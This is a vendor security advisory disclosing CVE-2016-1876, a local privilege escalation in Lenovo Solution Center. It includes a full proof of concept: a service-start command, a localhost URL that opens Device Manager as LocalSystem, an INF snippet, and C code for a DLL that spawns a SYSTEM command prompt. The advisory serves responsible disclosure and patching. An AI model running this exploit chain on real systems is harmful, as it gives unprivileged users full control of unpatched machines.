Trustwave SpiderLabs Security Advisory TWSL2016-009:
Privilege Escalation Vulnerability in Lenovo Solution Center

Published: 05/11/2016
Version: 1.0

Vendor: Lenovo (www.lenovo.com)
Product: Lenovo Solution Center
Version affected: prior to 3.3.0002

Product description:
The Lenovo Solution Center is a new software application created by Lenovo for 
Think products. The software allows users to quickly identify the status for 
system health, network connections and overall system security.

Finding 1: Privilege escalation via Lenovo Solution Center
Credit: Martin Rakhmanov of Trustwave 
CVE: CVE-2016-1876

Unprivileged local users can exploit multiple issues in Lenovo Solution Center 
to achieve arbitrary code execution with highest privileges.

1. Login locally using unprivileged account on a computer having Lenovo 
Solution Center 2.8.006 installed.

2. Open up Command Prompt and launch the LSCWinService service via:

sc start LSCWinService StartBackend

Alternatively just launch Lenovo System Health and Diagnostics application 
via the Control Panel.

3. Open any Web browser and navigate to URL:

http://localhost:55555/?v=1&controller=Actions&method=RunDeviceManeger

Notice that Device Manager window appears. It is running as LocalSystem 
instead of current user.

4. Using Device Manager install new driver that will execute code of choice 
either in kernel or user mode. Kernel mode drivers must be signed by default 
and user-mode drivers run as LocalService account so to exploit this quickly 
one can create a UMDF dummy driver and place the following entries into the 
driver's INF file:

...
[MyDevice_Install.NT]
CopyFiles=UMDriverCopy
RegisterDlls = POCRegSvr
...
[POCRegSvr]
-1,,Users\joe\Documents\mystique.dll, 1

C:\Users\joe\Documents\mystique.dll is a user-prepared DLL containing arbitrary 
code to be executed as LocalSystem. For example:

#include <windows.h>

__declspec(dllexport) HRESULT __stdcall DllRegisterServer(void)
{
	PROCESS_INFORMATION pi;
	STARTUPINFO si;

	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	si.lpDesktop = "winsta0\\default";

    CreateProcess(NULL, TEXT("cmd.exe"), NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return S_OK;
}

Then in the Device Manager use "Add legacy hardware" function to select 
"Install the hardware that I manually select from a list (Advanced)", then 
"Show All Devices" and then "Have Disk". Point to the INF file location. 
Complete installation by agreeing to install non-verified driver software. 
Internally, DrvInst.exe running as LocalSystem will load mystique.dll and 
execute its DllRegisterServer export. For the minimal POC shown above there 
will be a pop-up asking to display a message from the driver. 
Click "View the message" to access Command Prompt running as LocalSystem.


Remediation Steps:
Upgrade to 3.3.0002 Lenovo Solution Center or the latest stable version.


Revision History:
01/11/2016 - Vulnerability disclosed to vendor
04/26/2016 - Patch released by vendor
05/11/2016 - Advisory published


References
1. https://support.lenovo.com/us/en/product_security/len_4326


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